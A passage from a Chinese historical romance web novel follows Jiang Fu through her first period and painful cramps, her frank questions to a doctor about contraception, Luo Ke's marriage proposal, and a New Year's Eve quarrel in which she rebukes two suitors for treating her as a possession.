骆沁进屋瞧她哥哥。 骆岢披着外衣,正坐橱柜前收拾蒋芙包里的东西。他一件一件叠她的衣裳和披帛,首饰也归拢进他的匣子里,比用在书画上还要耐心。 骆沁不禁迟疑了脚步, 试探着叫:“哥哥?” 骆岢示意她轻声。 “芙芙睡着。坐了这么久马车, 她也累了。” 骆沁闻言脸上浮出笑, 眼眶却润了一层泪光。 她放低了声音, 到哥哥身边蹲身:“那沁儿是不是要改口, 叫芙姐嫂子啦?” 骆岢虽一脸病容,却有了支撑的精神气, 摸妹妹的头:“让你担心了。” 骆沁摇头,眼泪如雨落下:“哥哥没事就好,以后可不要这样。” “不会。” 骆岢继续叠手里的衣服,叠成一丝不苟的方形摆进他的衣柜。 “今年元旦要在这边过了,你别忘了给父亲写信。” 骆沁应下,也拎起蒋芙的衣裳帮忙叠。 “哥哥慢慢养好身体,父亲那边也说了,回家不急。我们一家人,以后在一起的时间长着呢。” 骆岢动作停滞, 叹息道:“你怎么长大了?终究是我这个哥哥做得不好。” 骆沁不愿他再在病中伤神, 努力笑道:“哥哥说什么呢, 再过几个月,我都快过十四岁生辰了, 肯定长大啦。” 蒋芙一觉睡到天黑,睁眼的时候屋里上灯,光线金灿灿罩在床帐,映出灯架的影子。 她反应了一下, 想起自己已经下了车,见过骆岢。 她也答应他的心意,准备去爱他。 这种境况好陌生,陌生到她有些害怕。 真就与另一个人变成亲密关系了。 她从被窝里撑起身,身下忽然敞开一股热流,吓得她掀开一看——月事来了。 这个也很陌生。 她很久很久没有过生理期了。这是在这个时代第一次月经,从前母亲跟她说过这回事。 母亲说:“就这两年了。到时要是出了血,芙芙可别害怕,看见以后来告诉娘。” 她用做衣裳剩的边角给蒋芙缝了月事带,后来那些针线都葬送在蒋文行放的那场火里。 她没办法告诉娘了。 “……” 床帐被一双修长的手拨开,露出骆岢病弱的面容。 “醒了?” 蒋芙点头。 他察觉到她情绪不对,心中登时紧张起来,“怎么了?” “你……你是不是后悔?” 蒋芙笑着抬眼:“乱想什么?” 她顿了下,有些愧疚:“那个……抱歉,我来月事了,弄脏了你的床。” 骆岢愣住,反应过来她在说什么,有几分羞涩:“没关系,我需要回避吗?” 蒋芙道:“这回避什么?我回来一趟,倒是把你折腾起来了。” 骆岢在灯光下看着她,眼眸映出的微光比晨露还温柔。 “我愿意的。为了你,我怎样都愿意。” 蒋芙像被晒了一天的被子裹住。 她拉着他的手晃了晃:“那我以后也愿意。” “不过,先帮我叫个年长些的女孩过来,我需要帮助。” 小赵拿来干净衣裳,临时用绸缎给她缝了布袋装草药灰垫进去。 蒋芙不好意思使唤人,和她一起洗弄脏的被褥和衣裳,后半夜才把活干完。 院子里留了恰到好处的雪,月光下澈,洒在上面有星星点点的光亮。她站在原地看了会儿,小赵给她蒙了身银狐大氅:“娘子小心,寒风伤身。” 蒋芙道:“你不也穿得薄?过来一起。” 她把厚重的大氅掀开一个缺口,将小赵包裹进去。 小赵受宠若惊,脸上通红跑了出去,不知是冻得还是不好意思。 都帮自己洗那么私密的东西了,就是自己人。蒋芙追着跑了几圈,将人逮到怀里笑。 嬉闹过后,小赵眼睛比平日里明亮几分。 两个人往下看雪,往上看星星,说了好一会儿话。 小赵是被家里卖到牙婆那,转了一次手才到郡公府的。她记不清父母和弟弟的模样,却很想他们。 “卖了你,也想吗?” “终究是把我生下来的人。” 蒋芙将到嘴边的话咽下去。人和人终究不同,有的人心里就要有些念想。 “我爹也卖我,不过后来他恶有恶报死了。” “我听说过,娘子那次离开,便是因为这事……真的该死。” 蒋芙笑道:“是吧?” 她往远处看,长安城被黑暗吞噬,不见一丝灯光。 “怎么快过年了还这么黑啊,洛城还有彩灯呢。” 小赵道:“娘子离长安许久不知,宫中又抄了裴氏的家。牵连许多,正是人人自危的时候,哪敢点灯呢……就连咱们府上,也不敢点得太亮,避避晦气。” 蒋芙惊讶:“又抄?这次是因为什么?” 崔茄娘家的事还历历在目,如今竟然又倒了一家。 天子到底在打算什么? 小赵左右看了看,天寒地冻,院里只有她们两人。 “说是通敌,有谋反之心。那可是吏部的尚书,倒台后许多从他那出身的官员都跟着走了。” “这些还是我和小李从洛城来时,那些护卫闲聊听到的。也不知这世道要变成什么样,不过跟着郡公,应该能安稳一辈子。咱们大人无心仕途,闲来无事做做文章,可比那些大老爷让人放心多了。” 蒋芙没有吭声。 一个不问朝政的人拥有隶属于自己的特务机构,手下似乎还有不少府兵,这能叫安分吗? 她总疑心皇帝要搞他们家,不然为什么拦骆岢在长安。 但他对骆岢的态度又很微妙,似乎是想让他置身事外,不想对付他。 而且他还和骆沁搞了对象。 他会出手打岳父? 可他也不像愿意忍的。 想不通,索性不再去想。 无论怎么样,都不关她的事。真到了满门抄斩的地步,她就从张闵那走个后门,放了他们几个。 张闵师父不是皇帝最大的狗腿子吗。 这皇帝喜欢重情重义的贤名,崔氏罪状列了那么多,也只罢免了他们的官职,直到他们造反以后才下杀令。 虽不知背后他有没有动什么手脚,但呈在表面上的就是这么一个情况。 他应该不会说满门抄斩,舍得沁儿吗?那么天真美好的小女孩。 真有那么一天,蒋芙就得撑住了,发扬死不要脸、苟延残喘的精神,让两个姓骆的活下来。 洗漱之后回房间,她先去炭盆边烘了烘,将冷气从身上烘出去才往里面走。 骆岢喝药睡了,睡得不太安分。 蒋芙抱着自己要垫的小被子,迈过他坐到床榻里面,将被窝布置好躺下。 她又支起身子,给他掖了掖被,往他身边凑凑。 好香。 骆岢的寝衣全部都熏过兰香。君子如兰,淡雅,自洁。他应是想成为这样的人。 其实装装怎么了,每天用心打扮自己不是也很可爱吗,总比那些臭烘烘污染空气的男人强。 而且他还处处给人留体面,心里想什么不挂脸,为人和和气气的。路边看到乞丐都愿意解钱包给几块银子……以后不许他给了,硬要给的话,给铜钱吧,装也得有点分寸。 睡着的时候好乖。 蒋芙又往他身边挪了挪,抬手搂住他,额头贴着他肩膀。 她大概是个护短的人,自己的东西永远比别人的好。 当骆岢成为她的人,她终于对他的美貌心悦诚服。 本以为会睡一个好觉,但在黎明时分,蒋芙被生理期疼醒了。 “……” 原以为第一天安然无恙是身子养好了,结果不是不疼,只是没到时候。 她蜷缩身体忍,后来忍不下去,坐起深呼吸。 痛。 怎么这么痛。 她把这笔帐从冷水洗衣服,算到自己在夏天吃冰。 她闷着声忍,有点绝望,这个时候没有止疼药,她拿什么救命? ……先试试热水。 她从骆岢身上迈过去,小心掀开床帐穿鞋,弯着腰往外面挪。 “有人吗?” 守夜的侍女应声:“蒋娘子?” “我肚子好疼,给我弄些热水来,多弄一些,找个薄的水袋,能装热水的那种。” “好!娘子稍等,马上就准备好!” 侍女又叫了几人一起忙,很快热水袋就到了蒋芙手上,泡脚的热水盆也准备好,还有女孩给她擦脖子上出的汗。 尽管动作放轻,到底还是惊动了骆岢。 “芙芙?” 他拢着外衣出来,见蒋芙埋在膝间痛得不能出声,吓得不顾形象冲了过来。 “哪里难受?是中毒了吗?” 外面已响起鸡鸣,快要日出了。 侍女们腼腆,脸红着不好说她这是月事痛的。 蒋芙缓了一阵,开口:“我没事,已经好很多了,是原发性痛经。” 骆岢脸色瞬间比她都白:“这是什么病?叫医师,快去找医师!” 侍女领了他的吩咐便去找,原本他就病着,府里养了许多大夫。为了预防有个三长两短的,夜里总有人醒着,正好今夜这位会看女人。 大夫抱着睡着的药童登门,隔着手帕探蒋芙的脉。 “寒湿之邪客于胞宫,气血运行受阻,经行腹痛。” 不用他说,蒋芙也知道差不多就这么些事。 “给我开些止疼的药吧,有吗?迷药也行,我挺不过去了。” 大夫捏了捏胡子:“不至于迷药,娘子,老朽给你开一副温经汤先喝着。” “止疼吗?” “自然。” 蒋芙不太信,但一碗热腾腾的药喝进肚子,像是真的好了不少。 又或者,是她身边有人陪着,心里好受了。 骆岢坐她身边给她揉腹,手凉了就再用汤婆子捂热。 “有没有好些?还难受吗?” “疼。” 骆岢颤抖着将手烫得更热些:“等天亮了,我让沁儿去宫里请女医回来施针。” 蒋芙懒洋洋应:“施针?” “针灸,刺进穴位见效更快。” “那我不疼了。” 第49章 第 49 章 心之所向。 一觉睡到中午, 蒋芙被汤婆子捂得衣裳潮乎乎的,周身如卸下铁铅般畅快。 第一天熬过去,这个劫数算是过了。有这一次,下次再应对便有了经验, 吃的用的都能提前准备好, 不会像这次一样什么都临时准备, 又慌又乱。 侧头, 骆岢趴在她身边闭眼, 半张脸埋在衣袖里,头侧斜着倚靠手肘。像是睡着, 摸一下眼又睁开。 他仍紧张兮兮,显然被昨晚蒋芙的病状吓得不轻。 “醒了?还疼吗?” 蒋芙摇头,戏言:“托公子的福,仙气一吹,药到病除。” 骆岢捋了捋她的头发,安下心微笑:“那我去给你叫些吃食,稍后再……” 蒋芙打断:“不用。” 她坐起身,拎着自己垫的小褥子一起迈过他:“我去收拾收拾,吃的自己叫就行, 你休息吧。” 随手将昨夜小赵给的大氅披上, 蒋芙踩着鞋往外走, 心有预兆回头,将他落寞的神情看在眼里。 “你怎么了?” 骆岢缓声道:“总觉得……你与我生分。” 说完, 像怕她不开心似的,努力微笑,“是我多想。快去吧,别空腹太久。” 蒋芙停步不动, 朝他歪歪头:“骆岢,有时候我真怀疑你是不是有什么喜欢被虐的癖好。” “……嗯?” “我之前对你那么凶,动不动骂你,你不当回事,现在想对你好,你却不习惯了?” “……” 骆岢脸上一红。 他将头垂下去,青丝滑落,露出雪白的后颈。 “原来是在对我好吗?我以为……” 蒋芙笑他一声:“没出息。” 里外清理完毕,又换下一窝衣裳,这次小赵说什么也不肯让她伸手洗了,将脏衣物抢走,推了清清爽爽的蒋芙回房,让小李再把昨晚那大夫叫来给她复诊。 这回大夫身边的小药童醒着,没用手帕搭她的脉。小孩胖手挪了挪,回头告诉师父病状。 大夫道:“经病之痛惯常只疼一日,不疼并非药到根除。娘子体内寒症不治,往后每月都要这般遭罪一回。” 蒋芙真心被折腾怕了,“能治吗?” 大夫没把话说死,只说先调理,若不见效还有施针之法。 能调当然要调,她平生最能吃苦。 针灸还是算了。 很久之前她曾经陪人去过,疼不疼不知道,眼睁睁看着针扎进皮肤,她的视觉感受不太好。 蒋芙自己也察觉到,她似乎很害怕被什么东西伤到,不论是人还是物品。 收了药方,骆岢陪着她把大夫送走。 临走,蒋芙想起什么,把人急叫住。 “大夫!” 她往周围看了看,和一个侍女对上视线,叫她过来把药童领走。 只剩下她与骆岢,还有大夫三人,她开口:“大夫,你知不知道什么避孕的方法?” 大夫表情迷茫一瞬,小心打 量骆岢的神色,保守道:“娘子体寒,本就不易受孕。” 蒋芙道:“不容易不还是有可能怀吗?我暂时不想生孩子,你有没有不伤身体的药?我和他都能吃。” 说完,她问骆岢:“你能吃吧?” 骆岢面红耳赤磕绊了下:“能、能吃。” 大夫坦诚道:“我这确实有避子的药方,但是药三分毒,即便用麝香,也可能导致体内经行失调,对娘子你的身子,是把亏空亏得更大了。” “……” 蒋芙陷入深思。 大夫打算趁机告辞,又听她道:“那有没有套?套在男的下面,阻止液体弄进去的那种。” 话说完见两人神色大变,蒋芙连忙安抚:“我没有冒犯你们的意思,不是说了不能讳疾忌医吗?我就说得简单了点,真的不是冒犯你们!” 大夫咳了咳,道:“娘子既有心,老夫又有什么不好意思的。行医多年,是听闻过有些人家用羊肠作套,避免交|合时女子受孕。娘子若有心,或可一试。” 蒋芙有些动心,不过,“为什么是羊肠?别的动物肠不行吗?猪肠、牛肠、马肠?” 大夫为难了一下,顶着压力回答:“羊肠的质地是比较合适的,较有韧性,更贴合人体,还有……” “什么?” “还有粗细方面。” 骆岢:“……” 蒋芙没注意到他脸色不好,接话:“那意思是如果够大,猪肠、牛肠处理干净都可以呗?要是小了,就是鸡肠、鸭肠、鸟肠喽?” 大夫深深一礼,不想接她这个话。他又不知道公子是牛马还是鸡鸭,若是在这方面说错了话,估计就是结仇程度的麻烦,男人真的很在乎在这方面。 蒋芙又请教了几句制作方法,终于把人放走。 大夫走得极快,将药童牵在手里步履生风。 药童咯咯直笑:“飞起来啦!” 蒋芙看着他们背影,心里有点不舒服。 “我是不是还是把人恶心到了?但我真的需要问懂行的人这些知识啊。不然真怀小孩了怎么办?” 骆岢在风口站了会儿,已经有些支撑不住。蒋芙连忙把他往房间领,将人塞进被子里,又要了壶热水给他。 他喝了口,眼眸里流露出失落:“想喝茶了。” 蒋芙道:“断几天,茶水解药,身体养好了再喝。” 她补充道:“到时候我给你做奶茶,喝过吗?” 骆岢问:“芙芙会做吗?我曾在宫中被陛下赏过一次,算是喝过。” “什么叫算是喝过?” “茶与奶混在一起,用椒盐去腥,我不太习惯那个味道……不过,芙芙做的,我想尝尝。” 蒋芙拍了拍胸脯:“等着,你病好了我给你做,反正你家啥都有,保证做的比你喝过的好喝。” 说话间,已在脑海里构建配料。她没做过,但那种东西应该不太需要厨艺。最关键的是,她做出来的东西他一定捧场,翻车他也喜欢。 谁让他喜欢她呢。 骆岢握住她的手,放到耳边。 许久,发问:“怎么问了医师那种事?芙芙不想要我的孩子吗?” 蒋芙随意道:“我这年纪太小了,打算等二十多岁再考虑生不生。不过你想等到我二十多岁再碰我吗?说实话,都已经在一起了,我挺想和你试试行房的,我还没做过,自然要把这些事都都研究明白。” 她捏捏他耳垂:“别害羞,他们大夫什么没见过。” 只是轻轻捏了几下,他耳朵便要滴血般。 原是如此。 她不是厌弃他,而是想要他。 蒋芙将手收回来,半路又被抓住。 骆岢柔声问:“芙芙,与我成婚好吗?” “我……亦对你有求。我们成婚,便想做什么就做什么了。” 蒋芙比较现实,没想到这个地方。 “不成婚也可以做啊,消遣罢了,只要不怀孕,成不成婚不算什么。” 骆岢拉她手拉得用力几分,惊慌失措:“你不想嫁我?” “我没什么想不想的,主要是咱们不太合适,我又不想做妾,你爹能同意你娶我吗?” 蒋芙反过来安慰他:“不成亲也没事,就一张纸。我们现在不是也在一起了?” 骆岢沉默下去。 但蒋芙看得出来,他整张脸写的都是:他要成亲。 下午她在窗前的罗汉床上躺着看话本,就见他在书案边忙活,鹰飞得来来回回。 日头落山,蒋芙也把一本小说看完。这书讲的是女主重生改变命运的故事,除了文言文看着费力之外,整个故事还挺有趣。 在这个娱乐活动极其匮乏的时代,能有小说存在她都谢天谢地了,闲来无事有东西打发时间。 她如今背靠骆岢,还需要担心什么呢? 吃喝都有人伺候,大门不出,二门不迈。想要什么东西,整个府邸的人齐心给她找。 她快要在这种生活里迷失自我了。 点灯后,骆岢克制喜悦递给她婚契。 蒋芙盯着看了好久。 这是她的答案吗? 她讨厌特权阶级,讨厌别人看轻她,认为人都是赤条条来到人间,凭什么要分高低贵贱—— 这是她的答案吗? 不管她心中想的是什么,她这一路就是接近了骆岢,做了他心中特别的人,眼下也即将用婚姻关系改变自己的社会地位。 这就是答案? 利用自己最厌恶的阶级差距,摆脱原有被剥削地位,走向衣来伸手饭来张口的人生。 似乎是圆满的走向了。 可是她不痛快。 矫情也好,意气也罢,她不痛快。 但她什么都做不到,改变不了。 不是已经认了吗?贫富天定,人生来就分贵贱。她还在这里不平什么?她的不平,落在别人眼里也不过是嫉妒罢了,还是可笑的嫉妒。 如果她生而高贵,肯定就不会想这些。 放弃吧,克制住将婚书掀掉的冲动,婚书的背后是对方净手捧来的一片真心,她不应该伤他。 蒋芙仰头:“你把你爹说服了?” 骆岢蹲身在她面前,握她的手:“都说服了。” 蒋芙讥讽道:“都说什么了?说我居心叵测,飞上枝头?” 骆岢隐约看得出她的愤怒,手指穿过她的指缝,十指相扣。 他过去就明白,蒋芙身体里住着一个自由的灵魂,仿佛天生认定了平等,不愿受任何束缚。为了这份自由,她永远在挣扎。 他看得见她的挣扎,他向往她的意志。 因此他想留住她,就算拼命,也想跟随她。 骆岢一字一句,珍重道:“赤子之心,我父亲说,我们是赤子之心。” “芙芙,嫁给我吧。嫁给我,我亦不会让你留在痛苦的地方。” “我们可以往北看封山的大雪,往南看生烟的瀑布,往东看书中一见的海,出海寻找未知的种族。这些事,我也可以陪你,我们有很多时间,我并不需要你放弃要做的事。” “嫁给我,不是你的妥协……” 蒋芙目光一闪,被他说中了心事,刹那间灵魂也跟着颤动。 “应是心之所向,虽死不悔。” 第50章 第 50 章 除旧迎新。 过年当天府里格外热闹, 侍女们都聚在一个院子布置,有人在贴窗花,有人在灶房忙里忙外准备年夜饭食材。 似乎是这段日子格外称心如意,骆岢身体已恢复大半, 精神饱满地在书房写对子。写完由侍卫张贴, 最大的一幅贴在府外正门。有许多人慕名“路过”, 就为瞻仰的书迹。 蒋芙跟着侍女一同去外面凑热闹, 她虽然没有文学上的造诣, 但也明白一个道理——那么多人都喜欢了,总不能每个都是奔着他美色来的。 她稍微有点自豪, 和捂嘴偷笑的侍女回了府里。 一只断了脖子的鸡扑棱棱飞到她身前,蒋芙被吓得叫了声,张闵从天而降,拎着 鸡的膀子递还给厨房阿婆,眼神示意她没事了,随后又要走。 蒋芙把他逮住:“你还要去哪?大过年的,在地平面歇歇吧。” 张闵点头:“好,我做什么?” 蒋芙按他胳膊:“歇——歇——” 张闵于是靠在墙柱上歇息,怀里抱着剑。 府里除了原来接触过蒋芙的人, 都是第一次见他。他一身黑衫束袖, 身姿修长有力, 光是那把青铜剑就已足够引人注意,更不用提他长得还不错。许多看腻了公子美貌的侍女便主动对他笑, 与他说话。 蒋芙抱臂看着,有种长辈般的欣慰。她就知道她把张闵养的不错,她的喜欢非常值得,这是有目共睹的。 骆岢披了大氅出屋, 见到的便是蒋芙含情脉脉望着张闵的场景。 骆沁睨了哥哥一眼,好奇他怎么处理。 只见他微微一笑,走到蒋芙身边拉她的手:“我要画几个灯,芙芙可有喜欢的图案?” 蒋芙被他拉回了神,还是一身好心情。 “喜欢小猫,会画吗?不要太真的那种,你得画得可爱些。” 她捏了捏他的手:“好凉,你冷不冷啊?” 骆岢俯身与她贴脸,贴到了冰软的少女脸颊:“还好,倒是你,脸上冻得像抹了胭脂。” 他视线瞥向望着他们的张闵,隐有寒意,但被温柔淹没看不太出。 他贴着蒋芙耳朵,嘴唇擦过她的耳廓:“张郎君与书意挨得好近,可是好事将近?” 蒋芙往旁边躲了一下,捂住耳朵不让他作怪。 “人家是正常交流,说句话就是好事将近?” 骆岢依然在笑:“芙芙不喜欢张郎君的好事?若不喜欢,我以后就不提了。” 蒋芙愣了一下,忍着脾气没骂他:“你这是想到哪去了?我是那样的人吗?骆岢,吃醋不是这么揣测着吃的。” 骆岢指尖轻抚她的手:“我知错。只是没见过你吃醋,我不明白醋该怎么吃。什么时候芙芙能吃我的醋呢?” 蒋芙把他手拍掉:“还画不画灯了?” 这人就是没事闲的。 骆岢在她的指示下画了个可爱的小猫,四方的灯笼,转了一面,蒋芙拿笔画了只鱼。 骆岢:“将物类之型归于至简,何等蕙质兰心……” 蒋芙:“你可以不用硬夸。” 骆沁捧着脸对他们笑,喜欢他们吵吵闹闹的样子。星星见她笑,也陪着一起。 天色渐暗,便要升灯。 蒋芙抱着那个画着小猫的灯,思考挂在哪好。 别的就算了,这个她和骆岢一起画的灯,她不想让府外的人看见。 这应该算吃醋。但蒋芙和骆岢不一样,她才不要让他看出来,如果以后有不开心的时候,就让他猜。有人猜不到急得团团转,不是也很可爱? 灯纸上的小猫乖巧看着外面的她,灯燃起来以后表面更加好看,仿佛上了橘黄的颜色。它的旁边就是那条鱼,她一笔画成型,又添了几笔鱼鳞的鱼。 哪里就被他夸成那个地步了呢,不过是最简单的小鱼图案。 骆岢在她旁边等候许久,也没等来她的吩咐。她像是很喜欢他画的那个小猫灯,光照在她脸上,不时被风撩拨跳动,分外动人。 骆岢低下身,略微撑起灯笼遮住两人的脸,将唇印在蒋芙脸上。 轻轻一碰,又一碰。 他侵入索吻,吻到泄出的呼吸化作雾气散在唇舌之外。 顾及在外面,并没温存太久。 分开以后,蒋芙察觉到院子里分外寂静。侍女们都放轻了动作干手里的活,侍卫门也纷纷忍笑将头别开。 不是用灯挡住了吗…… 蒋芙脸红低头,看到身下巨大的影子。 因为灯笼拿得近,投射到后面的影子便也分外清晰。 所有人都看见他们在做什么了! 蒋芙恼羞成怒,踹他一脚。 张闵抽剑:“要杀了吗?” 骆岢:“……” 蒋芙把剑按回去:“不用……” 张闵低眸,拇指擦她的嘴唇,颔首。 骆岢脸色难看,要说些什么。 宫人恰好踏入府内传达陛下口谕,体谅骆岢在长安不能与家人团聚,赐他带家人进宫吃御膳。 多大的恩典,府里的人跪着感谢,蒋芙跪得不太情愿。人又没到,跪不跪有什么意思,当皇帝可真爽。 她看了看骆沁的神情,小女孩最近不怎么笑了,个子也长了一截,是大姑娘的样子。蒋芙刚从光州回来见她,差点没认出来。 之前说起那人的事,她总是很开心,从眼神到行为说上几刻,说完还要问她意见。如今听见了他,却像没听见一般。 蒋芙想了想,如果换做是她被喜欢的人告到亲哥面前,让哥哥把她带回去,她也一定就放弃了。 简直是羞辱。 天下男人那么多,谁就非要可他一个吗? 既是圣命,不得不从。骆岢嘱咐了骆沁几句,让她回去换身衣裳,自己也回房更衣。 忙了一天的年夜饭,最后两个主人走了,只剩她一个客人在家吃。 蒋芙让张闵把小猫灯挂在院子里,回房间看骆岢打扮。 骆岢换到外衣,锦绿流光,似乎是专门进宫穿的礼服,平日里没见他穿过。 他自己穿完,给蒋芙也拿过来一套同样色系的,蹲身与她平视:“与我一起去吧。” “啊?”蒋芙惊讶一瞬,“我不想去,人家又没邀请我。” 她道:“没提名请我的,我就不去。” 骆岢微微笑:“芙芙可知,若是其他女子得此机会,定要挤破头去圣上面前露面一次,往后与别人闲聊,便有些撑门面的东西。” 蒋芙没被他暗捧得多开心:“跟这个没关系,我主要是之前被人说过蹭宴会,虽然难听,却是事实。现在没那个需要了,我没事闲的才去那么多人的地方吃饭。” 骆岢神色凝滞,他之前也听过别人这么说蒋芙,如今想来实在刻薄,当时应出言维护才对。芙芙做出那种举动,自然有她的原因,谁愿意无缘无故背负骂名? “好,不去便不去。我想你去,也只是想你在身边而已。”他自我安慰,“没关系的,回来不是还可以见面?” 蒋芙亲了他一口,将人往外推:“快走吧,接你的人还在外面等着,你却有空跟我说闲话。” 骆岢与骆沁离开,府里的人肉眼可见松弛下来。 蒋芙在她们殷切的目光下放她们去想去的地方过年,厨房里的菜才做了一道,食材倒是都备好了。 “剩下的别做了,只有我也吃不了多少。你们过年也想回家,谁想在这吃剩菜?” 厨子因为她太敢说而赔笑:“娘子……” 蒋芙道:“我看到有肉了,你帮我做些馅料好吗?” 虽然相隔千年,但过年果然还是要——包!饺!子! 厨子自然答应,“是娇耳吧!娘子想吃应早些说!我这就给你准备!” 蒋芙跟着坐一起包,见张闵坐角落盯她,把他也叫了过来一起。 她不怎么会包饺子,张闵更不会,常常将饺子皮捏破,包出来的饺子丑陋至极还露馅。 厨子看在眼里,加快速度把面饼包完,避免被这两人糟蹋更多,最后没几个能吃的。 饺子很快就端上桌,厨子感激不尽跟蒋芙道别:“娘子,我真回家了?” 蒋芙点头:“回。” 她把人叫住,“你拎只鸡走?” “好!多谢娘子了!” 干活的人都离开,蒋芙端着饺子碗到窗前,喊看守的侍卫。 “你们回家吗?” 侍卫被她问得面面相觑,一人出头回话:“娘子,我们是死士,公子身边便是我们的家。” 这话说得,让人毛骨悚然。 原来郡公府的兵力不止是精兵,还是身家性命都被买断的死士。 大过年的,暂且不想这些。 “进来吃点饺子?” 侍卫们迟迟不回话。 蒋芙便也不为难他们,非亲非故,她没那么好心。 “府里有烟花吗?” 这次 侍卫有话答了。 “回娘子的话,管事提前置办过许多,都在库房。” “那你们随便一个人取来放了吧,我想看。” 说完,她又往嘴里塞了个饺子。厨子手艺不错,芹菜羊肉馅的饺子,肉又鲜又香。她回头看看张闵,十分满足地问:“香吗?” 张闵点头。 蒋芙美滋滋坐回他旁边,依靠在他身上吃。 “以前不喜欢,离开这么多年,过年还是和饺子搭。之前连我娘都不懂我,现在你懂不懂?” 他又点头。 窗外的烟花放了起来,砰砰几声,蓝色、绿色、红色火焰在天上绽放,一瞬间绚烂到极致,又归于暗淡。 蒋芙看着别有感触。 她问:“张闵,你有没有什么愿望想我给你实现?一直以来都是我让你做事,今天过年,除旧迎新,我们以后可以换种方式相处了。你现在可以吩咐我给你做事!” 张闵问:“当真吗?” 蒋芙直起身子,嘴里还嚼着饺子,咽下去才说:“当真,十成十真。你就说你愿望是什么吧,姐现在有钱,你想要月亮姐都给你摘下来。” 50-60 第51章 第 51 章 何为真实。 “姐?” 张闵面上浮现一丝笑:“你吗?” 蒋芙噎了下, 用吃饺子搪塞过去。 “说啊,你的愿望?” “我没什么愿望。”他说,“做你想做的事。” 蒋芙才想夸他无私,就听他说:“我想要你, 给吗?” 她心头一跳, 像有水被搅乱, 哗啦啦倒流。 “什么?” 张闵垂着眼看她, 背对烛光, 影子拉长落在她身上。 “想……” “放肆!”一道声音隔空而出,骆岢推开灶房的门, 呼哧呼哧喘气,像是跑过来的,目光冰冷瞪向张闵。 “君子成人之美,不成人之恶。张郎君,你在对别人的未婚妻说什么?” 蒋芙愣愣瞧他愤怒的样子,心想原来他和别人生气是这副模样,还以为也要哭哭啼啼。 张闵听不懂什么君子,他不为骆岢的愤怒所动,相较之下十分冷静, 反而显得骆岢有些狼狈。 “新年愿望, 她给的, 我说了,有问题?” 骆岢于是将视线投向蒋芙, 对上她那无辜的双眼,便鼻子发酸。 然后维持着怒意,继续对张闵:“何止有问题,你怎能对别人的未婚妻说那般僭越的话, 你想做什么?芙芙她不会和你走的!” 张闵:“……我可以不带她走,但她归我。” 骆岢掩面擦了下掉落的泪,更加生气:“荒谬!你想都别想,痴人说梦,我不会把芙芙让给任何人!” 蒋芙将饭碗往桌子上一摔。 动静一出,两人便都安分下来。 她挨个给了一拳:“让什么让?归什么归?我是你们谁的玩具吗?懂不懂尊重人?” “你们喜欢我要是这么喜欢的,就都去死吧!” 骂完,蒋芙怒气冲冲绕开骆岢往灶房外面走,走了几步,不解气,又回来指着张闵。 “我告诉你,以后别再对我有非分之想!不然就走着瞧!” “还有你!跟我走!” 拉着人回房,蒋芙抱胳膊坐到床榻上审视。 “你怎么这么快回了?沁儿呢?” 骆岢垂头:“公主宣她留宿,我想回家见你……” 蒋芙瞪眼:“所以你就把你妹妹一个人扔在那了?公主宣她,公主又是谁的妹妹,是谁想在今夜见到沁儿?你自己整天脑子就知道情情爱爱,怎么就看不出别人的心思?你怎么当的哥哥?你知不知道沁儿已经不情愿去了?” 骆岢显然没想到这里,震惊过后是愧疚的沉默,有几分后知后觉的愤怒。 他拿起橱柜上的外衣,“我进宫去接她!” 蒋芙撇嘴:“接什么接?你有理由吗?陛下问你怎么回?你们是交情不错,但他已经不是小时候的他了,让天子知道你看不上他做你妹夫,你什么下场?” “……” “回来坐好,明天跟沁儿道歉!” 他坐到蒋芙身边。 片刻,他将她拉近怀里。 “我知错。但我也是为了见你,你是唯一不能气我的人。” 真是这些日子给脸了,还敢捆绑她。 蒋芙拍了他一掌:“你自己扪心自问,我生的是什么气?” 骆岢将吻贴到她发顶:“……不该说把你让给他。” 蒋芙冷笑一声:“你哪有那么大方?你不是在跟他抢我?” “……” “我是什么东西吗?你们凭什么抢我?你们是觉得你们两个都有控制我的能力?” 她挣扎出他的怀抱,眼神告诉他,她没有在调情,她是真的生气了。 “如果你是那么想我的,我们就可以到此为止了。你俩找个别的东西去抢吧,好好玩,抢个痛快。” 说完,她把橱柜都敞开,往出翻自己的衣服。 骆岢从背后抱住她,恐惧地哀求:“我知错,不要这样,芙芙。我没想过你说的那些,我从没想过控制你……” “你再敢说?” “我曾经关你,也是想求你爱我,你不是都知道?” “我不知道。” “不要这样……” 他抱得更紧,将头抵在她肩膀上:“你不要这样好不好……你怎么这么对我……” 蒋芙咬牙:“哭!遇到事就哭!你也就会跟我哭了!连妹妹你都照顾不住!要不是你长得美,我看都不要看你一眼!” 骆岢的眼泪流到她的脖子里:“那便看看我吧,我长得不是美吗?” “看看我,芙芙……” 蒋芙发作到现在,气消了一半,偏头看了一眼:“你小心眼睛哭瞎。” 她心里承认他哭得好看,便不想再看。 “吃饭了吗?” 这是事情翻篇的信号。 骆岢抓住了,立刻摇头。 蒋芙冷酷道:“去厨房里捞点饺子吃,芹菜羊肉,味道不错。” 说完将人推开,去找张闵。 “大过年的,我不想跟你生气。” 张闵侧头看她,月光将他侧脸照出几分凉。 “虽然不愿意承认,不过我确实是个自私的坏人。现在有其他的人保护我,你可以自由了。你不用再惦记我娘的遗命,等我死了以后会跟她说清楚,不让她怪你的。” 蒋芙闷声道:“去找你的事做吧。你应该有你自己的人生,何必只和我捆绑在一起?这世上有太多新奇的事你没见过,每一件都比待在我身边有意思。你要不要出去闯一闯?” 张闵沉默片刻:“你赶我走?” 蒋芙被他说得心里难受:“你可以这么理解,我就是一个用完就甩的坏女人,需要你的时候捆紧你,不需要了就嫌你碍事,我就是这么坏的人!” 张闵看着她:“你不是。” 蒋芙道:“我就是,我是死了下地狱的坏人!” “你不是。你嫌我碍事,我可以走。” “然后在我看不到的地方继续守着我吗?你不要这样!我不想你这样!” “芙芙。” 张闵叫她,“过年,别哭。这天哭,要流一整年的泪。” 蒋芙:“……” 她把眼泪憋回去。 然后想到骆岢,他似乎要流一整年的泪了。 还有沁儿,她一个人被留在宫里,可不要哭啊。 “我想你有自己的事,我很想你能陪我,永远陪着我。可是这是不对的,你是不是也知道,人在有伴侣之后不能和其他异性距离过近,否则要被万人唾弃?” “可是我只要和你待在一起,就不会想到那些,很多时候都是黏在你身上以后才反应过来不对。” “我们从小一起长大,是认识最久的人。我已经习惯依赖你,我也喜欢过你很久很久,就算到现在我移情别恋了,在我心里你和骆岢相比,还是认为你更重要,非要选择一个决定生死,我会选择你的……” 